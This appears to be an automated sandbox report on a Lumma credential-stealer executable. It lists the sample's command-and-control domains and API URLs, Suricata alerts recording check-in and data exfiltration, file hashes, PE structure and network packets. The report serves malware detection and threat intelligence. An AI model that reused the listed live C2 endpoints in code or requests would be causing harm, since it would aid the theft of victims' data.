SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
goalyfeastz.site	104.21.33.140	true	true	unknown
treatmentyj.cyou	188.114.96.3	true	true	unknown
www.google.com	142.250.186.68	true	false	unknown
opposezmny.site	unknown	unknown	true	unknown
seallysl.site	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
servicedny.site	true	unknown
faulteyotk.site	true	unknown
treatmentyj.cyou	true	unknown
seallysl.site	true	unknown
goalyfeastz.site	true	unknown
https://treatmentyj.cyou/api	true	unknown
contemteny.site	true	unknown
opposezmny.site	true	unknown
dilemmadu.site	true	unknown
https://goalyfeastz.site/api	true	unknown
authorisev.site	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://goalyfeastz.site/api/	AddInProcess32.exe, 00000004.00000002.2914223598.000000000140B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://goalyfeastz.site:443/apiID	AddInProcess32.exe, 00000004.00000002.2914223598.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://goalyfeastz.site//	AddInProcess32.exe, 00000004.00000002.2914223598.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://goalyfeastz.site/apit	AddInProcess32.exe, 00000004.00000002.2914223598.000000000136E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://goalyfeastz.site/	AddInProcess32.exe, 00000004.00000002.2914223598.0000000001417000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://goalyfeastz.site/8H	AddInProcess32.exe, 00000004.00000002.2914223598.000000000140B000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	treatmentyj.cyou	European Union		13335	CLOUDFLARENETUS	true
104.21.33.140	goalyfeastz.site	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545740
Start date and time:	2024-10-30 22:35:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@5/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 158 Number of non-executed functions: 58
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Simulations

Behavior and APIs

Time	Type	Description
17:36:12	API Interceptor	268x Sleep call for process: SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe modified
17:37:21	API Interceptor	8x Sleep call for process: AddInProcess32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	VfKk5EmvwW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	083098cm.n9shteam.in/vmBase.php
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/CEqTVkxM/download
	0JLWNg4Sz1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	977255cm.nyashkoon.in/secureWindows.php
	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/jI82Ms6K/download
	9D7RwuJrth.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	304773cm.n9shteam.in/jscpuGamegeneratorprivate.php
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	7950COPY.exe	Get hash	malicious	FormBook	Browse	www.globaltrend.xyz/b2h2/
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/Gitmx
104.21.33.140	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Get hash	malicious	LummaC	Browse
104.21.33.140	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.google.com	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	142.250.184.228
	https://pub-6838e3dd185d4df89d3bb3eabe6469a4.r2.dev/index.html#	Get hash	malicious	Unknown	Browse	142.250.186.164
	https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.edu	Get hash	malicious	HTMLPhisher	Browse	142.250.186.68
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.228
	https://jksvb.jnkpavers.com/?tZbf66=Tyw6/shhfkanxgsdff/&c=E,1,NSDuZCxGQc6fw5XDGugSpFh6vhsurKgNKuRtQYEvQblaeko7ktmOqkToectUm_5S_qV7IGwrOynGYnQ5TFSCJymAV2tc5TeuFegn96UyDZPOEKOyHYw,&typo=1	Get hash	malicious	Unknown	Browse	142.250.184.196
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	142.250.185.228
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	142.250.185.228
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	216.58.206.36
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	142.250.185.228
	https://www.canva.com/design/DAGVD7_HMvQ/PFkDB3TDx6Ru4nNALhSqqQ/view?utm_content=DAGVD7_HMvQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	142.250.186.68
goalyfeastz.site	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.145.203
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.140

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	5lg7zd.elf	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.41.39
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	PO 4500580954.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	https://pub-6838e3dd185d4df89d3bb3eabe6469a4.r2.dev/index.html#	Get hash	malicious	Unknown	Browse	104.21.48.111
	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.edu	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
CLOUDFLARENETUS	5lg7zd.elf	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.41.39
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	PO 4500580954.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	https://pub-6838e3dd185d4df89d3bb3eabe6469a4.r2.dev/index.html#	Get hash	malicious	Unknown	Browse	104.21.48.111
	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.edu	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.33.140 188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.33.140 188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.33.140 188.114.96.3
	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Get hash	malicious	LummaC	Browse	104.21.33.140 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.33.140 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.33.140 188.114.96.3
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	104.21.33.140 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.33.140 188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.33.140 188.114.96.3
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.21.33.140 188.114.96.3

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLU84G1qE4jE4K5E4KlKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MgvG1qHjHK5HKlYHKh3oPtHo6hAHKzea
MD5:	8C15378BBF5818D874CD379FABA313A0
SHA1:	5BAB21DA519A7ACFD3BF8DD34ED4236D4A28ED00
SHA-256:	2900F5392DD3432B35D26F40D7D6FB206D1005A8529694F075D848C23A0958BB
SHA-512:	89D1DC1023B4198EC3FB1ABF9DD326700BE8AECA8D778E8BCAE2B45E80E24102AA03DB824F35E5E549EAA97BECEC6329770342060CF02A70E476C217E83AE976
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.940374711292268
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe
File size:	9'639'936 bytes
MD5:	0b842f6524815b8064a51c651838cc73
SHA1:	08ef826547f5cf668f8d7d38477e1926a50c65db
SHA256:	779f6eab3cef74bddcabbf54b6a46d6ef6b6fba5a7218e70e5ada41f68d047d1
SHA512:	c6883d9567e435ab7a30e1f28c19ef700efd7039264a732ec00999d0c58f120f6f2ad836d20b95858316863c353f632c1935ed006d7fed99046a32595c733b97
SSDEEP:	196608:aCZEFPh4BO85Nn80iNFHFg5Nd6RbblazMXiQZxMWwH:aVFpSfnEF65b2VSsxMW
TLSH:	3CA6336D879B684DC16D6AF884F9021613B570839823FB28719422FD4EF23E9DC51BA7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{>?P..............P......>........... ........@.. .......................`............`................................

File Icon


Icon Hash:	1016339396b696b3

Static PE Info

General

Entrypoint:	0xd2f79e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x503F3E7B [Thu Aug 30 10:20:43 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x92f744	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x930000	0x3b9c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x934000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x92d7a4	0x92d800	264e2b7f1e0025d9a7ef89a899e56254	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x930000	0x3b9c	0x3c00	5911931450b0bf2a2fd6573da690029e	False	0.2916666666666667	data	3.8767112832048443	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x934000	0xc	0x200	445a5b29f58dc385c345939d4d3ac79a	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x9305e0	0x134	data			0.40584415584415584
RT_CURSOR	0x930714	0x134	data			0.40584415584415584
RT_BITMAP	0x930848	0x3e8	Device independent bitmap graphic, 112 x 16 x 4, image size 896, 16 important colors	Hebrew	Israel	0.383
RT_BITMAP	0x930c30	0xd8	Device independent bitmap graphic, 14 x 14 x 4, image size 112, resolution 3780 x 3780 px/m	English	United States	0.4305555555555556
RT_BITMAP	0x930d08	0xd8	Device independent bitmap graphic, 14 x 14 x 4, image size 112, resolution 3780 x 3780 px/m	English	United States	0.42592592592592593
RT_ICON	0x930de0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.16909005628517823
RT_ICON	0x931e88	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.46365248226950356
RT_ICON	0x9322f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.39864864864864863
RT_MENU	0x932418	0x242	data	English	United States	0.48961937716262977
RT_MENU	0x93265c	0x1c4	data	English	United States	0.4557522123893805
RT_DIALOG	0x932820	0xa2	data	Hebrew	Israel	0.7592592592592593
RT_DIALOG	0x9328c4	0x296	data	Hebrew	Israel	0.48942598187311176
RT_DIALOG	0x932b5c	0x2dc	data	Hebrew	Israel	0.46584699453551914
RT_DIALOG	0x932e38	0xfa	data	Hebrew	Israel	0.62
RT_DIALOG	0x932f34	0x336	data	English	United States	0.49635036496350365
RT_STRING	0x93326c	0x144	data	English	United States	0.5308641975308642
RT_STRING	0x9333b0	0x92	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	English	United States	0.5068493150684932
RT_STRING	0x933444	0x40	data	English	United States	0.640625
RT_STRING	0x933484	0x32	Matlab v4 mat-file (little endian) I, numeric, rows 0, columns 0	English	United States	0.62
RT_STRING	0x9334b8	0x28c	data	English	United States	0.4125766871165644
RT_STRING	0x933744	0xe2	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	English	United States	0.4557522123893805
RT_ACCELERATOR	0x933828	0x30	data	Hebrew	Israel	0.9375
RT_GROUP_CURSOR	0x933858	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x93386c	0x22	data			1.0588235294117647
RT_GROUP_ICON	0x933890	0x14	data			1.25
RT_VERSION	0x9338a4	0x2f8	data	Hebrew	Israel	0.4328947368421053

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
Hebrew	Israel
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T22:37:21.960483+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	62746	188.114.96.3	443	TCP
2024-10-30T22:37:21.960483+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	62746	188.114.96.3	443	TCP
2024-10-30T22:37:21.967612+0100	2057093	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site)	1	192.168.2.5	57099	1.1.1.1	53	UDP
2024-10-30T22:37:21.983661+0100	2057089	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (opposezmny .site)	1	192.168.2.5	51724	1.1.1.1	53	UDP
2024-10-30T22:37:21.999773+0100	2057085	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (goalyfeastz .site)	1	192.168.2.5	60198	1.1.1.1	53	UDP
2024-10-30T22:37:22.661468+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	62747	104.21.33.140	443	TCP
2024-10-30T22:37:23.342429+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	62747	104.21.33.140	443	TCP
2024-10-30T22:37:23.342429+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	62747	104.21.33.140	443	TCP
2024-10-30T22:37:24.006041+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	62748	104.21.33.140	443	TCP
2024-10-30T22:37:24.316655+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	62748	104.21.33.140	443	TCP
2024-10-30T22:37:24.316655+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	62748	104.21.33.140	443	TCP
2024-10-30T22:37:25.067029+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	62749	104.21.33.140	443	TCP
2024-10-30T22:37:25.549612+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	62749	104.21.33.140	443	TCP
2024-10-30T22:37:26.180881+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	62750	104.21.33.140	443	TCP
2024-10-30T22:37:27.425850+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	62751	104.21.33.140	443	TCP
2024-10-30T22:37:28.893995+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	62752	104.21.33.140	443	TCP
2024-10-30T22:37:30.344255+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	62753	104.21.33.140	443	TCP
2024-10-30T22:37:30.348995+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	62753	104.21.33.140	443	TCP
2024-10-30T22:37:33.280445+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	62754	104.21.33.140	443	TCP
2024-10-30T22:37:33.748545+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	62754	104.21.33.140	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 22:37:20.581768990 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:20.581811905 CET	443	62746	188.114.96.3	192.168.2.5
Oct 30, 2024 22:37:20.581885099 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:20.583404064 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:20.583415031 CET	443	62746	188.114.96.3	192.168.2.5
Oct 30, 2024 22:37:21.222562075 CET	443	62746	188.114.96.3	192.168.2.5
Oct 30, 2024 22:37:21.222640991 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:21.224675894 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:21.224684000 CET	443	62746	188.114.96.3	192.168.2.5
Oct 30, 2024 22:37:21.224919081 CET	443	62746	188.114.96.3	192.168.2.5
Oct 30, 2024 22:37:21.270190001 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:21.275656939 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:21.275686026 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:21.275767088 CET	443	62746	188.114.96.3	192.168.2.5
Oct 30, 2024 22:37:21.960489988 CET	443	62746	188.114.96.3	192.168.2.5
Oct 30, 2024 22:37:21.960587025 CET	443	62746	188.114.96.3	192.168.2.5
Oct 30, 2024 22:37:21.960647106 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:21.962694883 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:21.962709904 CET	443	62746	188.114.96.3	192.168.2.5
Oct 30, 2024 22:37:21.962786913 CET	62746	443	192.168.2.5	188.114.96.3
Oct 30, 2024 22:37:21.962794065 CET	443	62746	188.114.96.3	192.168.2.5
Oct 30, 2024 22:37:22.016947985 CET	62747	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:22.016978979 CET	443	62747	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:22.017153025 CET	62747	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:22.017462969 CET	62747	443	192.168.2.5	104.21.33.140
Oct 30, 2024 22:37:22.017472982 CET	443	62747	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:22.661216974 CET	443	62747	104.21.33.140	192.168.2.5
Oct 30, 2024 22:37:22.661468029 CET	62747	443	192.168.2.5	104.21.33.140
